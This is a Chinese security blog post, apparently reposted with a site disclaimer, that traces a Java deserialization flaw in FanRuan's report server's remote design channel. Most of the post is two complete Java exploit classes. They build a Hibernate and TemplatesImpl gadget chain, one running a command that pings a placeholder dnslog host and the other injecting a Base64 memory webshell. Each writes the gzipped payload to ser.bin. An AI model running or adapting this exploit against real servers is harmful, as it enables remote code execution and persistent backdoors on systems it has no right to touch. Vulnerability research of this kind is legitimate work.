文章由泾弦安全安全投稿,感谢宋总
0x01 漏洞分析
通过访问漏洞接口插看到 对应的处理类
com.fr.decision.extension.report.api.remote.RemoteDesignResource.onMessage
搜索/channel"} 也可以查到对应的类
可以看到 onMessage 是对应的处理方法
可以看到首先对var1进行了包装,然后再使用WorkContext.handleMessage对其进行的处理
跟进 WorkspaceServerInvoker.java handleMessage 方法中 发现又使用 deserializeInvocation方法对数据进行处理
跟进deserializeInvocation 首先看看GZipSerializerWrapper.wrap方法 会返回什么
返回了一个 GZipSerializerWrapper 对象
再看看InvocationSerializer.getDefault()返回了什么
返回了一个 InvocationSerializer对象
再来跟进 public static Object deserialize(byte[] var0, Serializer var1) 方法
如果var1 不为空 那么就使用var1的deserialize方法处理var2 也就是ByteArrayInputStream包装过的var0
前面也可以知道 var1 是一个GZipSerializerWrapper对象 那么就看这个对象对应的 deserialize方法
GZipSerializerWrapper.deserialize
查看下this.serializer 是什么对象
因为当时前面使用了warp 然后返回一个 GZipSerializerWrapper的有参构造 而且参数为InvocationSerializer对象
那么this.serializer 就是InvocationSerializer对象
然后就继续跟如 InvocationSerializer对象的deserialize方法
InvocationSerializer对象的deserialize方法
可以看到触发了两次readObject 那么流程就走完了,开始寻找链
0X02 利用链分析
v10.0.10
因为帆软很像shiro 也是内置cb链
目前思路就是shiro无依赖利用链 JavaBean PropertyUtils.getProperty() 进行链的构造
所以目前得先找一个 getter 并且这个可以执行命令
但是这时候我发现 反软内置的 InvokerTransformer 没有继承serializable
考虑 后续用jdk内置自带的TemplatesImpl类的getOutputProperties进行
后续发现 内置也没有有PropertyUtils 类
因为反软内置没有 PropertyUtils,但是考虑也是用getter 这种去进行命令执行的 那么就可以考虑另一个链Hibernate
这条链的具体文章可以 参考 Hibernate
思路
通过Hibernate结合TemplatesImpl这条链 触发getOutputProperties 方法中的newTransformer() 去执行任意方法的调用
Hibernate链
public class HibernateExp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}public static Object createWithoutConstructor(Class aa) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Object o = reflectionFactory.newConstructorForSerialization(aa, Object.class.getDeclaredConstructor()).newInstance();
return o;
}
public static void main(String[] args) throws Exception{
Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");//动态创建字节码
String cmd = "java.lang.Runtime.getRuntime().exec(\"ping -c 1 xxxx.dnslog.pw\");";
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HibernateExp");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Method getOutputProperties = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, getOutputProperties);
}catch (Exception ignored){
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), getOutputProperties, "outputProperties");
}// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tuplizer);Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "aaa");// put 到 hashmap 之后再反射写入,防止 put 时触发
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, templates);byte[] serialize = Serializer.serialize(hashMap);
String fileName = "ser.bin";
FileOutputStream fos = new FileOutputStream(fileName);
GZIPOutputStream gzip = new GZIPOutputStream(fos);
gzip.write(serialize);
gzip.finish();
fos.close();
}
}
打入内存马
EXP
public class HibernateExp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}public static Object createWithoutConstructor(Class aa) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Object o = reflectionFactory.newConstructorForSerialization(aa, Object.class.getDeclaredConstructor()).newInstance();
return o;
}
public static void main(String[] args) throws Exception{
Class<?> componentTypeClass = Class.forName("com.fr.third.org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer");
String memshell = "Base64编码的内存马";
ClassPool pool = new ClassPool();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
byte[] bytes = new BASE64Decoder().decodeBuffer(memshell);TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "HibernateExp");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
Method getOutputProperties = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, getOutputProperties);
}catch (Exception ignored){
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(templates.getClass(), getOutputProperties, "outputProperties");
}// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tuplizer);Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "aaa");// put 到 hashmap 之后再反射写入,防止 put 时触发
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, templates);byte[] serialize = Serializer.serialize(hashMap);
String fileName = "ser.bin";
FileOutputStream fos = new FileOutputStream(fileName);
GZIPOutputStream gzip = new GZIPOutputStream(fos);
gzip.write(serialize);
gzip.finish();
fos.close();
}
}
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)